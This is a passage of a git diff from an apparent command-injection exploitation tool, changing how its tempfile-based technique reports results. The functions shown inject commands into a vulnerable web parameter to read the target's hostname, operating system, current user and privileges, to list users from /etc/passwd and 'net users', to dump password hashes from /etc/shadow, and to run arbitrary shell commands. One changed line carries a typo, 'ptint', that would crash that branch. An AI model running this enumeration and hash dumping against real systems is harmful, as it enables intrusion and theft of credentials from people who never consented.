session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- if shell != "":
- # Update logs with executed cmds and execution results.
- logs.executed_command(filename, cmd, shell)
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(shell))
- print(settings.SINGLE_WHITESPACE)
- if not shell or shell == "":
- if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1):
- print(settings.SINGLE_WHITESPACE)
- err_msg = "The '" + cmd + "' command, does not return any output."
+ if shell or shell != "":
+ # Update logs with executed cmds and execution results.
+ logs.executed_command(filename, cmd, shell)
+ print(settings.command_execution_output(shell))
+ else:
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
-
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
@@ -651,9 +633,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
pass
except KeyboardInterrupt:
- # if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
# Delete previous shell (text) files (output)
+ print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index f09f0ec1ec..ed410bdc6c 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -15,7 +15,6 @@
import re
import sys
-
from src.utils import logs
from src.utils import menu
from src.utils import settings
@@ -33,7 +32,7 @@
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- _ = False
+ # _ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
@@ -50,17 +49,14 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
if float(ps_version):
settings.PS_ENABLED = True
ps_version = "".join(str(p) for p in output)
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
# Output PowerShell's version number
- info_msg = "The PowerShell's version number is "
+ info_msg = "Powershell version: "
info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ info_msg = info_msg
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
@@ -89,13 +85,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
shell = "".join(str(p) for p in output)
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "The hostname is " + str(shell)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
+ info_msg = "Hostname: " + str(shell)
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The hostname is " + str(shell) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -124,15 +119,13 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- if settings.VERBOSITY_LEVEL == 0 and _:
- sys.stdout.write("")
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
- target_os = target_os + " (" + distro_name + ")"
+ target_os = target_os + " " + distro_name
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
@@ -146,22 +139,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
- if target_arch:
+ if target_os and target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
- info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
+ info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The underlying operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- warn_msg = "Heuristics have failed to retrieve the system information."
+ warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
"""
@@ -181,66 +171,53 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
cu_account = output
if cu_account:
- cu_account = "".join(str(p) for p in cu_account)
- # Check if the user have super privileges.
- if menu.options.is_root or menu.options.is_admin:
- if settings.TARGET_OS == "win":
- cmd = settings.IS_ADMIN
- else:
- cmd = settings.IS_ROOT
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- if settings.VERBOSITY_LEVEL == 0 and _:
- sys.stdout.write("\n")
- # The main command injection exploitation.
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
- else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- if shell:
- shell = "".join(str(p) for p in shell)
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is not privileged.\n")
- output_file.close()
- else:
- sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is privileged.\n")
- output_file.close()
- else:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Current user: " + str(cu_account)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Current user: " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
else:
- warn_msg = "Heuristics have failed to identify the current user."
+ warn_msg = "Heuristics have failed to fetch the current user."
print(settings.print_warning_msg(warn_msg))
+
+
+"""
+Check if the current user has excessive privileges.
+"""
+def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
+ _ = False
+ if settings.TARGET_OS == "win":
+ cmd = settings.IS_ADMIN
+ else:
+ cmd = settings.IS_ROOT
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # The main command injection exploitation.
+ check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ _ = True
+ else:
+ output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ shell = output
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ _ = "True"
+ if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
+ (settings.TARGET_OS != "win" and shell != "0"):
+ _ = "False"
+
+ info_msg = "Current user has excessive privileges: " + str(_)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
"""
System users enumeration
@@ -248,11 +225,19 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ info_msg += "in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == settings.HTTPMETHOD.POST:
settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B")
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
+
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
@@ -267,12 +252,6 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = output
# Windows users enumeration.
if settings.TARGET_OS == "win":
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -283,10 +262,9 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users_list = sys_users_list.split()
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
- # Add infos to logs file.
+ info_msg += " via 'net users' command."
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
@@ -295,12 +273,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
- info_msg = "Confirming privileges of user '"
- info_msg += sys_users_list[user] + "'. "
- print(settings.print_info_msg(info_msg))
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)"
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- check_privs = output
+ cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
+ if alter_shell:
+ cmd = cmd.replace("'","\\'")
+ cmd = "cmd /c " + cmd
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ check_privs = cb_injector.injection_results(response, TAG, cmd)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p) for p in check_privs).strip()
@@ -314,35 +292,26 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else :
is_privileged = ""
is_privileged_nh = ""
- print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
- # Add infos to logs file.
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ # Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
+ warn_msg = "It seems that you don't have permissions to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
+
# Unix-like users enumeration.
else:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -350,31 +319,29 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
- warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + sys_users)
output_file.close()
- else:
+ else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
info_msg += " in '" + settings.PASSWD_FILE + "'."
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
- # Add infos to logs file.
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
@@ -403,7 +370,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
- is_privileged_nh = " is non-trusted user "
+ is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
@@ -413,12 +380,11 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else :
is_privileged = ""
is_privileged_nh = ""
- sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- sys.stdout.flush()
- # Add infos to logs file.
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ # Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -426,27 +392,23 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
warn_msg += "appropriate format. Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
+ print(sys_users)
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + sys_users)
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += settings.PASSWD_FILE + "'."
+ ptint(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "'."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
+ warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
+ warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
"""
@@ -455,8 +417,9 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
- # Not yet implemented!
- pass
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
+ pass
else:
cmd = settings.SYS_PASSES
#print(settings.SINGLE_WHITESPACE)
@@ -472,22 +435,17 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
if sys_passes == "":
sys_passes = " "
if sys_passes :
- if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- sys_passes = "".join(str(p) for p in sys_passes)
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split( )
+ sys_passes = sys_passes.split()
if len(sys_passes) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
- # Add infos to logs file.
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
@@ -499,8 +457,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
- # Add infos to logs file.
+ print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
+ # Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
@@ -510,91 +468,100 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
+ print(settings.print_warning_msg(warn_msg))
print(fields[0])
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + fields[0])
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.SHADOW_FILE + "' file."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- info_msg = "Executing the user-supplied command '" + cmd + "'."
+ info_msg = "Executing the user-supplied command: '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
- print(settings.SINGLE_WHITESPACE)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
check_how_long = 0
if len(output) > 1:
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(output))
- print(settings.SINGLE_WHITESPACE)
+ _ = "'" + cmd + "' execution output"
+ print(settings.print_retrieved_data(_, output))
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
return check_how_long, output
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- if settings.ENUMERATION_DONE:
- settings.ENUMERATION_DONE = False
-
+ def reset():
+ if settings.ENUMERATION_DONE:
+ settings.ENUMERATION_DONE = False
+
+ reset()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching powershell version."
+ print(settings.print_info_msg(info_msg))
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.hostname:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching hostname."
+ print(settings.print_info_msg(info_msg))
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.current_user:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching current user."
+ print(settings.print_info_msg(info_msg))
current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
+
+ if menu.options.is_root or menu.options.is_admin:
+ if settings.ENUMERATION_DONE:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Testing if current user has excessive privileges."
+ print(settings.print_info_msg(info_msg))
+ check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ reset()
if menu.options.sys_info:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching the underlying operating system information."
+ print(settings.print_info_msg(info_msg))
system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.users:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.passwords:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
# eof
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index bc848a3aef..625f19e774 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -35,7 +35,7 @@
